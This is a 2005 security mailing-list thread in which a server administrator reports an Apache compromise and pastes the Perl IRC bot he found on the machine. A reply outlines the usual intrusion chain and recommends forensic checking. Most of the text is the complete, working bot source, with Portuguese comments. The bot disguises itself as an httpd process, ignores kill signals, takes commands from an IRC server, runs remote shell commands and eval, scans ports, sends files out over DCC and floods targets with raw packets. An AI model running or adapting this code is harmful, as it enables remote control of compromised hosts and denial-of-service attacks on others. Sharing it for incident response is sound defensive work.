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Re: Apache hacks (./atac, d0s.txt)
From: Sagiko <sagiko () gmail com>
Date: Sat, 30 Apr 2005 15:17:42 +0800

hi,
This looks like an typical irc bot written in perl and installed on
the /tmp directory, (fyi http://www.honeynet.org/papers/bots/) if the
system is not critical machine, it is advicable to take it down and do
a full forensic checking. The typical hack proceedure is:

exploit existing vulnerable application (such apache) --> get a
non-privilege user --> install bot  in /tmp or any world writeable and
executable --> using local exploits to escalate the rights --> get
superuser do whatever he wants (change binary, clean logs.. etc)

Therefore in your case ,  you need to find out what's the stage of the
compromise on your system and exactly which is the entry points (the
vulnerabiliy exploited).

regards,
Rick
  





   

On 4/30/05, Andrew Y Ng <ayn () andrewng com> wrote:
My server has been seeing some usual activities today, I don't have much time
to get down to the bottom of things, but after I investigated briefly I have
decided to disable PERL executable permission for www-data (Apache process's
user), also locked /var/tmp so www-data cannot write to it.

Looks like it ignores all the `kill` signals, not sure how I can actually
kill it...

I found the included script in /var/tmp called d0s.txt.

I found a bunch of processes called ./atac 20 running, and found the
following content in /tmp/atac:

http://andrewng.com/tmp/atac.tbz

here's d0s.txt:

#!/usr/bin/perl
################ CONFIGURACAO #################################################################
my $processo = '/usr/local/apache/bin/httpd -DSSL';  # Nome do processo que vai aparece no ps       #
#----------------------------------------------################################################
my $MODOME='+pi';                               #  Modo Do Bot                                 #
#----------------------------------------------################################################
my $linas_max='10';                            # Evita o flood :) depois de X linhas          #
#----------------------------------------------################################################
my $sleep='3';                                 # ele dorme X segundos                         #
##################### IRC #####################################################################
my @adms=("DDOS");                             # Nick do administrador                        #
#----------------------------------------------################################################
my @canais=("#bots ddos");# Canais                                       #
#----------------------------------------------################################################
my $nick='b0t';                           # Nick do bot. Caso esteja em uso vai aparecer #
#                                              # aparecer com numero radonamico no final      #
#----------------------------------------------################################################
my $ircname = 'b0t';                      # User ID                                      #
#----------------------------------------------################################################
my $realname = '4Admin14: 4#DDOS';                                     #
#----------------------------------------------################################################
$servidor='irc.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado            #
#                                              # caso não seja especificado no argumento      #
#----------------------------------------------################################################
my $porta='6667';                              # Porta do servidor de irc                     #
################ ACESSO A SHELL ###############################################################
my $secv = 1;                                  # 1/0 pra habilita/desabilita acesso a shell   #
###############################################################################################

my $VERSAO = '1.0';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
 if ($#_ == '1') {
   my $socket = $_[0];
   print $socket "$_[1]\n";
 } else {
     print $IRC_cur_socket "$_[0]\n";
 }
}

sub conectar {
  my $meunick = $_[0];
  my $servidor_con = $_[1];
  my $porta_con = $_[2];

  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;

    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);

    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
    $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
    nick("$meunick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
    sleep 1;
  }

}
my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  &DCC::connections;
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
       $sel_cliente->remove($fh);
       $fh->close;
       delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);

    for(my $c=0; $c<= $#lines; $c++) {
      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
      } else {
          if ($#lines == 0) {
            parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
              parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
              parse("$line");
          } else {
              $line_temp = $line;
          }
      }
     }
  }
}

sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
  } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
      my $pn=$1; my $onde = $4; my $args = $5;
      if ($args =~ /^\001VERSION\001$/) {
        notice("$pn", "\001Bot powered by DDOS TEAM\001");
      }
      if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
        if ($onde eq "$meunick"){
          shell("$pn", "$args");
        }
        if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
           my $natrix = $1;
           my $arg = $2;
           if ($arg =~ /^\!(.*)/) {
             ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
           } elsif ($arg =~ /^\@(.*)/) {
               $ondep = $onde;
               $ondep = $pn if $onde eq $meunick;
               bfunc("$ondep","$1");
           } else {
               shell("$onde", "$arg");
           }
        }
      }
  } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
      if (lc($1) eq lc($meunick)) {
        $meunick=$4;
        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
      }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
      nick("$meunick".int rand(9999));
  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
      $meunick = $2;
      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
      $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
      foreach my $canal (@canais) {
        print "$0 Executado \n";
        sendraw("JOIN $canal");
        sendraw("MODE $meunick $MODOME");
        sendraw("PRIVMSG $canal :Modo Alterado Para4 $MODOME");
      }
  }
}

sub bfunc {
 my $printl = $_[0];
 my $funcarg = $_[1];
 if (my $pid = fork) {
    waitpid($pid, 0);
 } else {
     if (fork) {
        exit;
      } else {
          if ($funcarg =~ /^portscan (.*)/) {
            my $hostip="$1";
            my @portas=("21","22","23","25","53","80","110","143");
            my (@aberta, %porta_banner);
            foreach my $porta (@portas)  {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout 
=> 4);
               if ($scansock) {
                  push (@aberta, $porta);
                  $scansock->close;
               }
            }

            if (@aberta) {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
            } else {
                sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
            }
          }
          if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
            my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
            $dtime = 1 if $dtime == 0;
            my %bytes;
            $bytes{igmp} = $2 * $pacotes{igmp};
            $bytes{icmp} = $2 * $pacotes{icmp};
            $bytes{o} = $2 * $pacotes{o};
            $bytes{udp} = $2 * $pacotes{udp};
            $bytes{tcp} = $2 * $pacotes{tcp};

            sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: 
".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");

          }
          exit;
      }
 }
}

sub ircase {
 my ($kem, $printl, $case) = @_;

 if ($case =~ /^join (.*)/) {
    j("$1");
  }
  if ($case =~ /^part (.*)/) {
     p("$1");
  }
  if ($case =~ /^rejoin\s+(.*)/) {
     my $chan = $1;
     if ($chan =~ /^(\d+) (.*)/) {
       for (my $ca = 1; $ca <= $1; $ca++ ) {
         p("$2");
         j("$2");
       }
     } else {
         p("$chan");
         j("$chan");
     }
  }
  if ($case =~ /^op/) {
     op("$printl", "$kem") if $case eq "op";
     my $oarg = substr($case, 3);
     op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  }
  if ($case =~ /^deop/) {
     deop("$printl", "$kem") if $case eq "deop";
     my $oarg = substr($case, 5);
     deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  }
  if ($case =~ /^voice/) {
     voice("$printl", "$kem") if $case eq "voice";
     $oarg = substr($case, 6);
     voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  }
  if ($case =~ /^devoice/) {
     devoice("$printl", "$kem") if $case eq "devoice";
     $oarg = substr($case, 8);
     devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  }
  if ($case =~ /^msg\s+(\S+) (.*)/) {
     msg("$1", "$2");
  }
  if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
     for (my $cf = 1; $cf <= $1; $cf++) {
       msg("$2", "$3");
     }
  }
  if ($case =~ /^ctcp\s+(\S+) (.*)/) {
     ctcp("$1", "$2");
  }
  if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
     for (my $cf = 1; $cf <= $1; $cf++) {
       ctcp("$2", "$3");
     }
  }
  if ($case =~ /^invite\s+(\S+) (.*)/) {
     invite("$1", "$2");
  }
  if ($case =~ /^nick (.*)/) {
     nick("$1");
  }
  if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
      conectar("$2", "$1", 6667);
  }
  if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
     DCC::SEND("$1", "$2");
  }
  if ($case =~ /^raw (.*)/) {
     sendraw("$1");
  }
  if ($case =~ /^eval (.*)/) {
    eval "$1";
  }
}
sub shell {
 return unless $secv;
 my $printl=$_[0];
 my $comando=$_[1];
 if ($comando =~ /cd (.*)/) {
   chdir("$1") || msg("$printl", "Diertório inexistente!");
   return;
 }
 elsif ($pid = fork) {
    waitpid($pid, 0);
 } else {
     if (fork) {
        exit;
      } else {
          my @resp=`$comando 2>&1 3>&1`;
          my $c=0;
          foreach my $linha (@resp) {
            $c++;
            chop $linha;
            sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
            if ($c == "$linas_max") {
              $c=0;
              sleep $sleep;
            }
          }
          exit;
      }
 }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
 my $iaddr = inet_aton($_[0]);
 my $msg = 'B' x $_[1];
 my $ftime = $_[2];
 my $cp = 0;
 my (%pacotes);
 $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

 socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
 socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
 socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
 socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
 return(undef) if $cp == 4;
 my $itime = time;
 my ($cur_time);
 while ( 1 ) {
    for (my $porta = 1; $porta <= 65000; $porta++) {
      $cur_time = time - $itime;
      last if $cur_time >= $ftime;
      send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
      send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
      send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
      send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

      # DoS ?? :P
      for (my $pc = 3; $pc <= 255;$pc++) {
        next if $pc == 6;
        $cur_time = time - $itime;
        last if $cur_time >= $ftime;
        socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
        send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
      }
    }
    last if $cur_time >= $ftime;
 }
 return($cur_time, %pacotes);
}

#############
#  ALIASES  #
#############

sub action {
  return unless $#_ == 1;
  sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
  return unless $#_ == 1;
  sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
  return unless $#_ == 1;
  sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
  return unless $#_ == 1;
  sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
  return unless $#_ == 1;
  sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
  return unless $#_ == 1;
  sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
   return unless $#_ == 1;
  sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
  return unless $#_ == 1;
  sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
  return unless $#_ == 1;
  sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
  return unless $#_ == 1;
  sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
  return unless $#_ == 1;
  sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
  return unless $#_ == 1;
  sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
  return unless $#_ == 1;
  sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
  return unless $#_ == 0;
  sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
  return unless $#_ == 0;
  sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
 return unless $#_ == 0;
 sendraw("NICK $_[0]");
}

sub invite {
  return unless $#_ == 1;
  sendraw("INVITE $_[1] $_[0]");
}
sub topico {
  return unless $#_ == 1;
  sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
 return unless $#_ == 0;
 sendraw("WHOIS $_[0]");
}
sub who {
 return unless $#_ == 0;
 sendraw("WHO $_[0]");
}
sub names {
 return unless $#_ == 0;
 sendraw("NAMES $_[0]");
}
sub away {
 sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
 sendraw("QUIT :$_[0]");
}

# DCC
package DCC;

sub connections {
  my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
  foreach my $fh (@ready) {
    my $dcctipo = $DCC{$fh}{tipo};
    my $arquivo = $DCC{$fh}{arquivo};
    my $bytes = $DCC{$fh}{bytes};
    my $cur_byte = $DCC{$fh}{curbyte};
    my $nick = $DCC{$fh}{nick};

    my $msg;
    my $nread = sysread($fh, $msg, 10240);

    if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
       $DCC{$fh}{status} = "Cancelado";
       $DCC{$fh}{ftime} = time;
       $dcc_sel->remove($fh);
       $fh->close;
       next;
    }

    if ($dcctipo eq "get") {
       $DCC{$fh}{curbyte} += length($msg);

       my $cur_byte = $DCC{$fh}{curbyte};

       open(FILE, ">> $arquivo");
       print FILE "$msg" if ($cur_byte <= $bytes);
       close(FILE);

       my $packbyte = pack("N", $cur_byte);
       print $fh "$packbyte";

       if ($bytes == $cur_byte) {
          $dcc_sel->remove($fh);
          $fh->close;
          $DCC{$fh}{status} = "Recebido";
          $DCC{$fh}{ftime} = time;
          next;
       }
    } elsif ($dcctipo eq "send") {
         my $send = $fh->accept;
         $send->autoflush(1);
         $dcc_sel->add($send);
         $dcc_sel->remove($fh);
         $DCC{$send}{tipo} = 'sendcon';
         $DCC{$send}{itime} = time;
         $DCC{$send}{nick} = $nick;
         $DCC{$send}{bytes} = $bytes;
         $DCC{$send}{curbyte} = 0;
         $DCC{$send}{arquivo} = $arquivo;
         $DCC{$send}{ip} = $send->peerhost;
         $DCC{$send}{porta} = $send->peerport;
         $DCC{$send}{status} = "Enviando";

         #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
         open(FILE, "< $arquivo");
         my $fbytes;
         read(FILE, $fbytes, 1024);
         print $send "$fbytes";
         close FILE;
#          delete($DCC{$fh});
    } elsif ($dcctipo eq 'sendcon') {
         my $bytes_sended = unpack("N", $msg);
         $DCC{$fh}{curbyte} = $bytes_sended;
         if ($bytes_sended == $bytes) {
            $fh->close;
            $dcc_sel->remove($fh);
            $DCC{$fh}{status} = "Enviado";
            $DCC{$fh}{ftime} = time;
            next;
         }
         open(SENDFILE, "< $arquivo");
         seek(SENDFILE, $bytes_sended, 0);
         my $send_bytes;
         read(SENDFILE, $send_bytes, 1024);
         print $fh "$send_bytes";
         close(SENDFILE);
    }
  }
}

sub SEND {
 my ($nick, $arquivo) = @_;
 unless (-r "$arquivo") {
   return(0);
 }

 my $dccark = $arquivo;
 $dccark =~ s/[.*\/](\S+)/$1/;

 my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
 my $longip = unpack("N",inet_aton($meuip));

 my @filestat = stat($arquivo);
 my $size_total=$filestat[7];
 if ($size_total == 0) {
    return(0);
 }

 my ($porta, $sendsock);
 do {
   $porta = int rand(64511);
   $porta += 1024;
   $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
 } until $sendsock;

 $DCC{$sendsock}{tipo} = 'send';
 $DCC{$sendsock}{nick} = $nick;
 $DCC{$sendsock}{bytes} = $size_total;
 $DCC{$sendsock}{arquivo} = $arquivo;

 &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
 my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
 return(0) if (-e "$arquivo");
 if (open(FILE, "> $arquivo")) {
    close FILE;
 } else {
   return(0);
 }

 my $dccip=fixaddr($dcclongip);
 return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
 my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
 $dccsock->autoflush(1);
 $dcc_sel->add($dccsock);
 $DCC{$dccsock}{tipo} = 'get';
 $DCC{$dccsock}{itime} = time;
 $DCC{$dccsock}{nick} = $nick;
 $DCC{$dccsock}{bytes} = $bytes;
 $DCC{$dccsock}{curbyte} = 0;
 $DCC{$dccsock}{arquivo} = $arquivo;
 $DCC{$dccsock}{ip} = $dccip;
 $DCC{$dccsock}{porta} = $dccporta;
 $DCC{$dccsock}{status} = "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os 
sockets e faz as perguntas
sub Status {
 my $socket = shift;
 my $sock_tipo = $DCC{$socket}{tipo};
 unless (lc($sock_tipo) eq "chat") {
   my $nick = $DCC{$socket}{nick};
   my $arquivo = $DCC{$socket}{arquivo};
   my $itime = $DCC{$socket}{itime};
   my $ftime = time;
   my $status = $DCC{$socket}{status};
   $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

   my $d_time = $ftime-$itime;

   my $cur_byte = $DCC{$socket}{curbyte};
   my $bytes_total =  $DCC{$socket}{bytes};

   my $rate = 0;
   $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
   my $porcen = ($cur_byte*100)/$bytes_total;

   my ($r_duv, $p_duv);
   if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
      $r_duv = $3; $r_duv++ if $4 >= 5;
      $rate = "$1\.$2"."$r_duv";
   }
   if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
      $p_duv = $3; $p_duv++ if $4 >= 5;
      $porcen = "$1\.$2"."$p_duv";
   }
   return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
 }

 return(0);
}

sub fixaddr {
   my ($address) = @_;

   chomp $address;     # just in case, sigh.
   if ($address =~ /^\d+$/) {
       return inet_ntoa(pack "N", $address);
   } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
       return $address;
   } elsif ($address =~ tr/a-zA-Z//) {
       return inet_ntoa(((gethostbyname($address))[4])[0]);
   } else {
       return;
   }
}

--
andrew y ng  <ayn () andrewng com>   http://andrewng.com
principal, ayn & associates, llc, http://aynassociates.com





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